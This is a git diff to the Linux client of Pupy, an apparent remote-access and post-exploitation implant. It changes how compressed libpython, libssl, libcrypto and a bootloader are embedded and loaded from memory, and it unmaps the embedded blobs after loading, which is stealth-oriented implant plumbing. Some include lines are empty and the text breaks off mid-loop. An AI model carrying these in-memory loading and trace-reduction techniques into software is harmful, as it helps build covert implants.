diff --git a/client/gen_resource_header.py b/client/gen_resource_header.py index 556c4637..0ea5b3ff 100644 --- a/client/gen_resource_header.py +++ b/client/gen_resource_header.py @@ -13,11 +13,16 @@ if __name__=="__main__": with open(sys.argv[1], "rb") as f: file_bytes=f.read() + attribute = '\n'.join([ + '__attribute__(({}))'.format(x) for x in sys.argv[2:] + ]) + payload_len = len(file_bytes) payload = struct.pack('>I', payload_len) + pylzma.compress( file_bytes,dictionary=24,fastBytes=255) h_file += "static const int %s_size = %s;"%(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_"), len(payload)) + h_file += attribute h_file += "\nstatic const char %s_start[] = {\n"%sys.argv[1].replace(".","_").replace("\\","_").replace("/","_") current_size=0 diff --git a/client/sources-linux/Makefile b/client/sources-linux/Makefile index a697d37e..326d417a 100644 --- a/client/sources-linux/Makefile +++ b/client/sources-linux/Makefile @@ -9,6 +9,8 @@ LIBPYTHON ?= $(shell /sbin/ldconfig -p | awk '/libpython2.7.so/{print $$4}' | h LIBCRYPTO ?= $(shell /sbin/ldconfig -p | awk '/libcrypto.so.1.0.0/{print $$4}' | head -n 1) LIBSSL ?= $(shell /sbin/ldconfig -p | awk '/libssl.so.1.0.0/{print $$4}' | head -n 1) +XZARGS ?= "aligned(0x1000)" 'section(".xzrodata")' + ARCH ?= $(shell file $(LIBPYTHON) | grep 32-bit >/dev/null && echo 32 || echo 64) ifeq ($(ARCH),64) NAME := 64 @@ -64,13 +66,14 @@ resources/library_compressed_string.txt: ../gen_library_compressed_string.py res $(PYTHON) $(PFLAGS) ../gen_library_compressed_string.py resources_library_compressed_string_txt.c: ../gen_resource_header.py resources/library_compressed_string.txt resources/library.zip - $(PYTHON) $(PFLAGS) ../gen_resource_header.py resources/library_compressed_string.txt + $(PYTHON) $(PFLAGS) ../gen_resource_header.py \ + resources/library_compressed_string.txt $(XZARGS) resources/bootloader.pyc: ../gen_python_bootloader.py ../../pupy/packages/all/pupyimporter.py ../../pupy/pp.py $(PYTHON) $(PFLAGS) ../gen_python_bootloader.py $(DEBUG_ADD) resources_bootloader_pyc.c: ../gen_resource_header.py resources/bootloader.pyc - $(PYTHON) $(PFLAGS) $+ + $(PYTHON) $(PFLAGS) $+ $(XZARGS) linux-inject/%.o: linux-inject/%.c $(CC) -c $(LINUX_INJECT_CFLAGS) $(CFLAGS) -o $@ $< @@ -100,13 +103,13 @@ resources/library.zip: ../build_library_zip.py ../additional_imports.py $(PYTHON) $(PFLAGS) $< resources_python27_so.c: ../gen_resource_header.py resources/python27.so - $(PYTHON) $(PFLAGS) $+ + $(PYTHON) $(PFLAGS) $+ $(XZARGS) resources_libssl_so.c: ../gen_resource_header.py resources/libssl.so - $(PYTHON) $(PFLAGS) $+ + $(PYTHON) $(PFLAGS) $+ $(XZARGS) resources_libcrypto_so.c: ../gen_resource_header.py resources/libcrypto.so - $(PYTHON) $(PFLAGS) $+ + $(PYTHON) $(PFLAGS) $+ $(XZARGS) $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).lin: main_exe.o $(PYOBJS) $(COMMON_OBJS) $(CC) $(PIE) $+ -o $@ $(LDFLAGS) diff --git a/client/sources-linux/Python-dynload.c b/client/sources-linux/Python-dynload.c index 629a1869..682ff1f7 100644 --- a/client/sources-linux/Python-dynload.c +++ b/client/sources-linux/Python-dynload.c @@ -37,33 +37,10 @@ typedef struct python_search { void *base; } python_search_t; -int _load_python(const char *dllname, const char *bytes, size_t size) +int _load_python(void *hmod) { int i; struct IMPORT *p = imports; - void * hmod; - - bool resolved = true; - - dprint("Trying to find python symbols in current process\n"); - for (i = 0; p->name && resolved; ++i, ++p) { - p->proc = (void (*)()) dlsym(NULL, p->name); - if (p->proc == NULL) { - dprint("undefined symbol %s -> exit(-1). Fallback to built-in python\n", p->name); - resolved = false; - } - } - - if (resolved) { - return 1; - } - - dprint("Trying to load embedded python library\n"); - hmod = memdlopen(dllname, bytes, size); - if (hmod == NULL) { - dprint("Couldn't load embedded python library: %s\n", dlerror()); - return 0; - } p = imports; for (i = 0; p->name; ++i, ++p) { diff --git a/client/sources-linux/Python-dynload.h b/client/sources-linux/Python-dynload.h index c1b10c00..d33bd2eb 100644 --- a/client/sources-linux/Python-dynload.h +++ b/client/sources-linux/Python-dynload.h @@ -23,7 +23,7 @@ struct IMPORT { void (*proc)(); }; -extern int _load_python(const char *dllname, const char *dllbytes, size_t size); +extern int _load_python(void *hmod); extern struct IMPORT imports[]; diff --git a/client/sources-linux/pupy.c b/client/sources-linux/pupy.c index f800f8b5..bbe82356 100644 --- a/client/sources-linux/pupy.c +++ b/client/sources-linux/pupy.c @@ -12,6 +12,7 @@ #include "daemonize.h" #include #include "tmplibrary.h" +#include #include "resources_library_compressed_string_txt.c" @@ -27,20 +28,33 @@ extern const uint32_t dwPupyArch; static PyObject *Py_get_modules(PyObject *self, PyObject *args) { - return PyObject_lzmaunpack( - resources_library_compressed_string_txt_start, - resources_library_compressed_string_txt_size - ); + static PyObject *modules = NULL; + if (!modules) { + modules = PyObject_lzmaunpack( + resources_library_compressed_string_txt_start, + resources_library_compressed_string_txt_size + ); + + munmap(resources_library_compressed_string_txt_start, + resources_library_compressed_string_txt_size); + } + + return modules; } static PyObject * Py_get_pupy_config(PyObject *self, PyObject *args) { - size_t compressed_size = ntohl( - *((unsigned int *) pupy_config) - ); + static PyObject *config = NULL; + if (!config) { + size_t compressed_size = ntohl( + *((unsigned int *) pupy_config) + ); - return PyObject_lzmaunpack(pupy_config+sizeof(int), compressed_size); + config = PyObject_lzmaunpack(pupy_config+sizeof(int), compressed_size); + } + + return config; } static PyObject *Py_get_arch(PyObject *self, PyObject *args) diff --git a/client/sources-linux/pupy_load.c b/client/sources-linux/pupy_load.c index fb8aaff5..cec0e6eb 100644 --- a/client/sources-linux/pupy_load.c +++ b/client/sources-linux/pupy_load.c @@ -11,6 +11,7 @@ #include #include #include +#include #include "pupy_load.h" #include "Python-dynload.h" @@ -35,7 +36,7 @@ extern DL_EXPORT(void) initpupy(void); #include "lzmaunpack.c" -static inline void xz_dynload(const char *soname, const char *xzbuf, size_t xzsize) { +static inline void* xz_dynload(const char *soname, const char *xzbuf, size_t xzsize) { void *uncompressed = NULL; size_t uncompressed_size = 0; @@ -54,6 +55,8 @@ static inline void xz_dynload(const char *soname, const char *xzbuf, size_t xzsi dprint("loading %s from memory failed\n", soname); abort(); } + + return res; } uint32_t mainThread(int argc, char *argv[], bool so) { @@ -66,38 +69,20 @@ uint32_t mainThread(int argc, char *argv[], bool so) { uintptr_t cookie = 0; PyGILState_STATE restore_state; - if(!Py_IsInitialized) { - void *uncompressed = NULL; - size_t uncompressed_size = 0; - - uncompressed = lzmaunpack( - resources_python27_so_start, - resources_python27_so_size, - &uncompressed_size - ); - - if (!uncompressed) { - dprint("Python decompression failed\n"); - return -1; - } - - int res = _load_python( - "libpython2.7.so", - uncompressed, - uncompressed_size - ); - - free(uncompressed); - - if (!res) { - dprint("loading libpython2.7.so from memory failed\n"); - return -1; - } - } xz_dynload("libcrypto.so.1.0.0", resources_libcrypto_so_start, resources_libcrypto_so_size); xz_dynload("libssl.so.1.0.0", resources_libssl_so_start, resources_libssl_so_size); + if(!Py_IsInitialized) { + _load_python( + xz_dynload("libpython2.7.so", resources_python27_so_start, resources_python27_so_size) + ); + } + + munmap(resources_libcrypto_so_start, resources_libcrypto_so_size); + munmap(resources_libssl_so_start, resources_libssl_so_size); + munmap(resources_python27_so_start, resources_python27_so_size); + dprint("calling PyEval_InitThreads() ...\n"); PyEval_InitThreads(); dprint("PyEval_InitThreads() called\n"); @@ -151,6 +136,8 @@ uint32_t mainThread(int argc, char *argv[], bool so) { resources_bootloader_pyc_size ); + munmap(resources_bootloader_pyc_start, resources_bootloader_pyc_size); + if (seq) { Py_ssize_t i, max = PySequence_Length(seq); for (i=0;i